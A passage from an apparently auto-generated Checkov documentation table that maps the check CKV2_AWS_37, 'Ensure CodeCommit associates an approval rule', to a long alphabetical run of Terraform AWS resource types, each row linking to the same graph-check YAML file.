Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1887 | CKV2_AWS_37              | resource                         | aws_opsworks_custom_layer                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1888 | CKV2_AWS_37              | resource                         | aws_opsworks_ecs_cluster_layer                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1889 | CKV2_AWS_37              | resource                         | aws_opsworks_ganglia_layer                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1890 | CKV2_AWS_37              | resource                         | aws_opsworks_haproxy_layer                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1891 | CKV2_AWS_37              | resource                         | aws_opsworks_instance                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1892 | CKV2_AWS_37              | resource                         | aws_opsworks_java_app_layer                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1893 | CKV2_AWS_37              | resource                         | aws_opsworks_memcached_layer                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1894 | CKV2_AWS_37              | resource                         | aws_opsworks_mysql_layer                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1895 | CKV2_AWS_37              | resource                         | aws_opsworks_nodejs_app_layer                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1896 | CKV2_AWS_37              | resource                         | aws_opsworks_permission                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1897 | CKV2_AWS_37              | resource                         | aws_opsworks_php_app_layer                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1898 | CKV2_AWS_37              | resource                         | aws_opsworks_rails_app_layer                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1899 | CKV2_AWS_37              | resource                         | aws_opsworks_rds_db_instance                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1900 | CKV2_AWS_37              | resource                         | aws_opsworks_stack                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1901 | CKV2_AWS_37              | resource                         | aws_opsworks_static_web_layer                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1902 | CKV2_AWS_37              | resource                         | aws_opsworks_user_profile                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1903 | CKV2_AWS_37              | resource                         | aws_organizations_account                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1904 | CKV2_AWS_37              | resource                         | aws_organizations_delegated_administrator                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1905 | CKV2_AWS_37              | resource                         | aws_organizations_organization                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1906 | CKV2_AWS_37              | resource                         | aws_organizations_organizational_unit                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1907 | CKV2_AWS_37              | resource                         | aws_organizations_policy                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1908 | CKV2_AWS_37              | resource                         | aws_organizations_policy_attachment                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1909 | CKV2_AWS_37              | resource                         | aws_organizations_resource_policy                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1910 | CKV2_AWS_37              | resource                         | aws_osis_pipeline                                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1911 | CKV2_AWS_37              | resource                         | aws_paymentcryptography_key                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1912 | CKV2_AWS_37              | resource                         | aws_paymentcryptography_key_alias                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1913 | CKV2_AWS_37              | resource                         | aws_pinpoint_adm_channel                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1914 | CKV2_AWS_37              | resource                         | aws_pinpoint_apns_channel                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1915 | CKV2_AWS_37              | resource                         | aws_pinpoint_apns_sandbox_channel                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1916 | CKV2_AWS_37              | resource                         | aws_pinpoint_apns_voip_channel                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1917 | CKV2_AWS_37              | resource                         | aws_pinpoint_apns_voip_sandbox_channel                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1918 | CKV2_AWS_37              | resource                         | aws_pinpoint_app                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1919 | CKV2_AWS_37              | resource                         | aws_pinpoint_baidu_channel                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1920 | CKV2_AWS_37              | resource                         | aws_pinpoint_email_channel                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1921 | CKV2_AWS_37              | resource                         | aws_pinpoint_email_template                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1922 | CKV2_AWS_37              | resource                         | aws_pinpoint_event_stream                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1923 | CKV2_AWS_37              | resource                         | aws_pinpoint_gcm_channel                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1924 | CKV2_AWS_37              | resource                         | aws_pinpoint_sms_channel                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1925 | CKV2_AWS_37              | resource                         | aws_pinpointsmsvoicev2_configuration_set                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1926 | CKV2_AWS_37              | resource                         | aws_pinpointsmsvoicev2_opt_out_list                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1927 | CKV2_AWS_37              | resource                         | aws_pinpointsmsvoicev2_phone_number                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1928 | CKV2_AWS_37              | resource                         | aws_pipes_pipe                                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1929 | CKV2_AWS_37              | resource                         | aws_placement_group                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1930 | CKV2_AWS_37              | resource                         | aws_prometheus_alert_manager_definition                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1931 | CKV2_AWS_37              | resource                         | aws_prometheus_rule_group_namespace                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1932 | CKV2_AWS_37              | resource                         | aws_prometheus_scraper                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1933 | CKV2_AWS_37              | resource                         | aws_prometheus_workspace                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1934 | CKV2_AWS_37              | resource                         | aws_proxy_protocol_policy                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1935 | CKV2_AWS_37              | resource                         | aws_qldb_ledger                                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1936 | CKV2_AWS_37              | resource                         | aws_qldb_stream                                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1937 | CKV2_AWS_37              | resource                         | aws_quicksight_account_subscription                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1938 | CKV2_AWS_37              | resource                         | aws_quicksight_analysis                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1939 | CKV2_AWS_37              | resource                         | aws_quicksight_dashboard                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1940 | CKV2_AWS_37              | resource                         | aws_quicksight_data_set                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1941 | CKV2_AWS_37              | resource                         | aws_quicksight_data_source                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1942 | CKV2_AWS_37              | resource                         | aws_quicksight_folder                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1943 | CKV2_AWS_37              | resource                         | aws_quicksight_folder_membership                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1944 | CKV2_AWS_37              | resource                         | aws_quicksight_group                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1945 | CKV2_AWS_37              | resource                         | aws_quicksight_group_membership                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1946 | CKV2_AWS_37              | resource                         | aws_quicksight_iam_policy_assignment                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1947 | CKV2_AWS_37              | resource                         | aws_quicksight_ingestion                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1948 | CKV2_AWS_37              | resource                         | aws_quicksight_namespace                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1949 | CKV2_AWS_37              | resource                         | aws_quicksight_refresh_schedule                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1950 | CKV2_AWS_37              | resource                         | aws_quicksight_template                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1951 | CKV2_AWS_37              | resource                         | aws_quicksight_template_alias                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1952 | CKV2_AWS_37              | resource                         | aws_quicksight_theme                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1953 | CKV2_AWS_37              | resource                         | aws_quicksight_user                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1954 | CKV2_AWS_37              | resource                         | aws_quicksight_vpc_connection                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1955 | CKV2_AWS_37              | resource                         | aws_ram_principal_association                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1956 | CKV2_AWS_37              | resource                         | aws_ram_resource_association                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1957 | CKV2_AWS_37              | resource                         | aws_ram_resource_share                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1958 | CKV2_AWS_37              | resource                         | aws_ram_resource_share_accepter                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1959 | CKV2_AWS_37              | resource                         | aws_ram_sharing_with_organization                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1960 | CKV2_AWS_37              | resource                         | aws_rbin_rule                                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1961 | CKV2_AWS_37              | resource                         | aws_rds_certificate                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1962 | CKV2_AWS_37              | resource                         | aws_rds_cluster                                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1963 | CKV2_AWS_37              | resource                         | aws_rds_cluster_activity_stream                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1964 | CKV2_AWS_37              | resource                         | aws_rds_cluster_endpoint                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1965 | CKV2_AWS_37              | resource                         | aws_rds_cluster_instance                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1966 | CKV2_AWS_37              | resource                         | aws_rds_cluster_parameter_group                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1967 | CKV2_AWS_37              | resource                         | aws_rds_cluster_role_association                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1968 | CKV2_AWS_37              | resource                         | aws_rds_cluster_snapshot_copy                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1969 | CKV2_AWS_37              | resource                         | aws_rds_custom_db_engine_version                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1970 | CKV2_AWS_37              | resource                         | aws_rds_export_task                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1971 | CKV2_AWS_37              | resource                         | aws_rds_global_cluster                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1972 | CKV2_AWS_37              | resource                         | aws_rds_instance_state                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1973 | CKV2_AWS_37              | resource                         | aws_rds_integration                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1974 | CKV2_AWS_37              | resource                         | aws_rds_reserved_instance                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1975 | CKV2_AWS_37              | resource                         | aws_redshift_authentication_profile                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1976 | CKV2_AWS_37              | resource                         | aws_redshift_cluster                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | 